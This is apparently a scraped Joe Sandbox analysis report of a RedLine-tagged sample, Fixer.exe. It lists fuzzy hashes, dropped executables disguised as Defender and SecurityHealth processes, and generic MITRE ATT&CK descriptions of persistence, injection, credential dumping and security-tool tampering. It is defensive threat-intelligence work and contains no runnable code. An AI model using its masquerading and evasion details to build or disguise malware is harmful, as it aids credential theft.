API String ID:
Opcode ID: c811855f728092ef8ae7cfdf5dedc8cf8b86e1a7b4d76a4a0dcd1c149f8bc831
Instruction ID: 330591bb2537f45cb0ae1d57a73592fc0452438624051299ec09dcaa1ce1ad72
Opcode Fuzzy Hash: c811855f728092ef8ae7cfdf5dedc8cf8b86e1a7b4d76a4a0dcd1c149f8bc831
Instruction Fuzzy Hash: 9A324D74A105298FD754DF68C991BAEB7B2FF88300F55C1AAC509AB386C734E981CF90

Function 062393A0 Relevance: .3, Instructions: 320COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.52617870854.0000000006230000.00000040.00000800.00020000.00000000.sdmp, Offset: 06230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6230000_Fixer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2e57a26e3d01ff2388846f566837c74f391ce7dd6de1a00d035fe5bcc1010133
Instruction ID: 1c9af6f682e9912c0f7f712c91e497b256ff35e4d71cc645c23e45414c337760
Opcode Fuzzy Hash: 2e57a26e3d01ff2388846f566837c74f391ce7dd6de1a00d035fe5bcc1010133
Instruction Fuzzy Hash: DEE1C674E11228DFEB64CFA4C884B9DBBB2FF49310F2481A9D809A7355D774A985CF50

Function 029CDD44 Relevance: .3, Instructions: 264COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.52600268066.00000000029C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_29c0000_Fixer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7384fc5dd2e867af60f70f90e1e4b61cd3e87ba69ecab0eb7d967945906e656b
Instruction ID: b7557b1784d627821258673663ffb731cd6d47aed999bee99645a16261057889
Opcode Fuzzy Hash: 7384fc5dd2e867af60f70f90e1e4b61cd3e87ba69ecab0eb7d967945906e656b
Instruction Fuzzy Hash: D0A17D32E002098FCF05DFA4C4445AEBBB7FF85300B25856EE905AB261DB75D946CF91

Analysis Process: 6z9uno0baqvej0me.exePID: 5376, Parent PID: 7492COMMON

Execution Graph

Execution Coverage:	14.7%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	41.7%
Total number of Nodes:	12
Total number of Limit Nodes:	1

Executed Functions

Function 00007FFA1B3CD080 Relevance: 1.9, APIs: 1, Instructions: 384
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000002.00000002.52857475635.00007FFA1B3C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFA1B3C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffa1b3c0000_6z9uno0baqvej0me.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1ed8fabf0a30f63349babf10e1f14d356f155dff3d5bd932408f7b5c31616366
Instruction ID: e9fa14ddc62482101a07f4627902bf86d61266b21d32ff39b151a75c7e34da6f
Opcode Fuzzy Hash: 1ed8fabf0a30f63349babf10e1f14d356f155dff3d5bd932408f7b5c31616366
Instruction Fuzzy Hash: 63B14632A1CE444FE35C971CEC066B8B7D2EB9A331F55817EE04DC32A2DD35AC528A81

Non-executed Functions

Function 00007FFA1B3C7198 Relevance: .2, Instructions: 162COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.52857475635.00007FFA1B3C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFA1B3C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffa1b3c0000_6z9uno0baqvej0me.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 715ca470d4291ea69672055f40970c398ef7e5530296c943f96b4249833624e9
Instruction ID: f42d6c8d28e0d57af7f3e4e6aaee57263ce08d61a92e6e26b2be52afc0672723
Opcode Fuzzy Hash: 715ca470d4291ea69672055f40970c398ef7e5530296c943f96b4249833624e9
Instruction Fuzzy Hash: 9A41A02BB2892616D3017F6DF8428F87710EFD227B788C1B3D28D89077A959704A45DA

Analysis Process: FixerNerest.exePID: 8148, Parent PID: 7492COMMON

Execution Graph

Execution Coverage:	13.9%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	3
Total number of Limit Nodes:	0

Executed Functions

Function 00007FFA1B3E17CD Relevance: 1.6, APIs: 1, Instructions: 128
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtProtectVirtualMemory.NTDLL ref: 00007FFA1B3E18A4

Memory Dump Source

Source File: 00000003.00000002.52864145112.00007FFA1B3D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFA1B3D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffa1b3d0000_FixerNerest.jbxd

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: 011c1dedc377db8578078bd8d67c3358d2dd0997097060b1418ee3a72c251bb6
Instruction ID: d4873b6957915b7e98ed4833b266b13fe3cb74c4958992a742af430628004e4e
Opcode Fuzzy Hash: 011c1dedc377db8578078bd8d67c3358d2dd0997097060b1418ee3a72c251bb6
Instruction Fuzzy Hash: BC31953191CB5C4FDB589B5CA805AED7BE1EB99321F0082AFE04DD3256DA74A8458BC2

Analysis Process: xdwdSecurityHealthSystrays.exePID: 3660, Parent PID: 5376COMMON

Execution Graph

Execution Coverage:	11.9%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	12
Total number of Limit Nodes:	1

Executed Functions

Function 00007FFA1B3AD080 Relevance: 1.9, APIs: 1, Instructions: 385
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000D.00000002.52884034744.00007FFA1B3A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFA1B3A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffa1b3a0000_xdwdSecurityHealthSystrays.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 692f9149dea7a35dd1dba482a818f98f1ae9bf916c6ac124fdc345110abff6b3
Instruction ID: 01423a8f14a0ad2af291cbeeb9eb982fba967c8962d2a278de0d46bf672b68f0
Opcode Fuzzy Hash: 692f9149dea7a35dd1dba482a818f98f1ae9bf916c6ac124fdc345110abff6b3
Instruction Fuzzy Hash: E4B15832A1CE448FE35C971CAC066B8BBD1EB96360F15827EE04DC36A6DD386C528681

Analysis Process: xdwdSecurityHealthSystrays.exePID: 5360, Parent PID: 1480COMMON

Execution Graph

Execution Coverage:	14.2%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	12
Total number of Limit Nodes:	1

Executed Functions

Function 00007FFA1B3AD080 Relevance: 1.9, APIs: 1, Instructions: 385
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000013.00000002.52898691162.00007FFA1B3A4000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFA1B3A4000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ffa1b3a4000_xdwdSecurityHealthSystrays.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e88e241075e5ae15abf55b37c5c8a40324cd76d4d41076f8c9c39ee5909b3aac
Instruction ID: 63ad3a0aabc39440fe53380551c6e58f5bfb66e13efc0eb8cea4214bc754086c
Opcode Fuzzy Hash: e88e241075e5ae15abf55b37c5c8a40324cd76d4d41076f8c9c39ee5909b3aac
Instruction Fuzzy Hash: D9B14832A1CF448FE35C971CAC066B9BBD1EB96361F15827EE04DC36E6DD286C528681

Analysis Process: Defender.exePID: 2232, Parent PID: 8148COMMON

Execution Graph

Execution Coverage:	14.6%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	3
Total number of Limit Nodes:	0

Executed Functions

Function 00007FFA1B3D17CD Relevance: 1.6, APIs: 1, Instructions: 128
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtProtectVirtualMemory.NTDLL ref: 00007FFA1B3D18A4

Memory Dump Source

Source File: 00000014.00000002.53605210794.00007FFA1B3C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFA1B3C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_7ffa1b3c0000_Defender.jbxd

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: 73f3a8c5211f2fbd981715551d46e5b1843b75b538f31ce1861281af922a3218
Instruction ID: 17011e177ac323651c0ae75a50d8c352c5160511f15d5dd7b9d09a1c87cec31f
Opcode Fuzzy Hash: 73f3a8c5211f2fbd981715551d46e5b1843b75b538f31ce1861281af922a3218
Instruction Fuzzy Hash: D531953191CB5C4FDB58DB5CA8056ED7BE1EB99321F0082AFE04DD3256DE74A8458BC2

Analysis Process: xdwdSecurityHealthSystrays.exePID: 4228, Parent PID: 1480COMMON

Execution Graph

Execution Coverage:	14.7%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	12
Total number of Limit Nodes:	1

Executed Functions

Function 00007FFA1B3AD080 Relevance: 1.9, APIs: 1, Instructions: 385
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000015.00000002.52911652813.00007FFA1B3A4000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFA1B3A4000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffa1b3a4000_xdwdSecurityHealthSystrays.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 038c31521051b3ad68b69439bbc8b22286dcb8190dfde4aa64fb4c5ddd4452b0
Instruction ID: 7076e30ef4647c1c402a5265d14c2a95b08f3d2e95c8481f29097d16555898ec
Opcode Fuzzy Hash: 038c31521051b3ad68b69439bbc8b22286dcb8190dfde4aa64fb4c5ddd4452b0
Instruction Fuzzy Hash: 7FB14832A1CE448FE35C971CAC066B9BBD1EB96361F15827EE04DC36A6DD386C528681

Analysis Process: Defender.exePID: 2660, Parent PID: 1480COMMON

Execution Graph

Execution Coverage:	13.2%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	3
Total number of Limit Nodes:	0

Executed Functions

Function 00007FFA1B3A17CD Relevance: 1.6, APIs: 1, Instructions: 131
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtProtectVirtualMemory.NTDLL ref: 00007FFA1B3A18A4

Memory Dump Source

Source File: 00000016.00000002.52930450702.00007FFA1B390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFA1B390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ffa1b390000_Defender.jbxd

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: 9652dfc134b4ffab2c2136e93ce0e324004c8c7bd3e8481c75f4e7076a85c6fb
Instruction ID: 8ff538e4f9d4772330056ae305aed89ad668529e2318b076be293ac728223516
Opcode Fuzzy Hash: 9652dfc134b4ffab2c2136e93ce0e324004c8c7bd3e8481c75f4e7076a85c6fb
Instruction Fuzzy Hash: FF31957191CB5C4FDB58DB5C98066ED7BE1EB99321F0082AFE04DD3252DE74A8458BC2

Analysis Process: xdwdSecurityHealthSystrays.exePID: 5128, Parent PID: 1480COMMON

Execution Graph

Execution Coverage:	10.3%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	12
Total number of Limit Nodes:	1

Executed Functions

Function 00007FFA1B3DD080 Relevance: 1.9, APIs: 1, Instructions: 386
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000017.00000002.53457988545.00007FFA1B3D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFA1B3D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ffa1b3d0000_xdwdSecurityHealthSystrays.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3a6aea486c69622b0b0d37d6a59bb1e618b530cac15e28494953779e55951c72
Instruction ID: 625add238ead23c91df59ee1b75ada093954c77b327b2aaf573fb4b038d0df2b
Opcode Fuzzy Hash: 3a6aea486c69622b0b0d37d6a59bb1e618b530cac15e28494953779e55951c72
Instruction Fuzzy Hash: FAB14632A1CE444FE75C971CAC466B8B7D2EB9A320F15817FE04DC32E2DD34AC528A85

Analysis Process: Defender.exePID: 3268, Parent PID: 1480COMMON

Execution Graph

Execution Coverage:	11.8%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	3
Total number of Limit Nodes:	0

Executed Functions

Function 00007FFA1B3B17CD Relevance: 1.6, APIs: 1, Instructions: 126
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtProtectVirtualMemory.NTDLL ref: 00007FFA1B3B18A4

Memory Dump Source

Source File: 00000018.00000002.53453095931.00007FFA1B3A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFA1B3A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffa1b3a0000_Defender.jbxd

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: 2ef06cb163c0c8eabd3de0df522a866b03a4c463fdc32d53a27f35d2838a1a07
Instruction ID: 4c7b29c0791c9eaaefbc5d6e67978ed189b55303e01e89b6e71aa28ee42cd933
Opcode Fuzzy Hash: 2ef06cb163c0c8eabd3de0df522a866b03a4c463fdc32d53a27f35d2838a1a07
Instruction Fuzzy Hash: E431A73191CB5C8FDB58DB5CA8056ED7BE1EB99321F0082AFE04DD3256DE74A8458BC2

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Fixer.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: RedLine

Yara Signatures

Initial Sample

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Defender.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\xdwdSecurityHealthSystrays.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Fixer.exe.log

C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe

C:\Users\user\AppData\Local\Temp\FixerNerest.exe

C:\Windows\System32\Defender.exe

C:\Windows\System32\xdwdSecurityHealthSystrays.exe

Static File Info

General

Windows Analysis Report
Fixer.exe

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre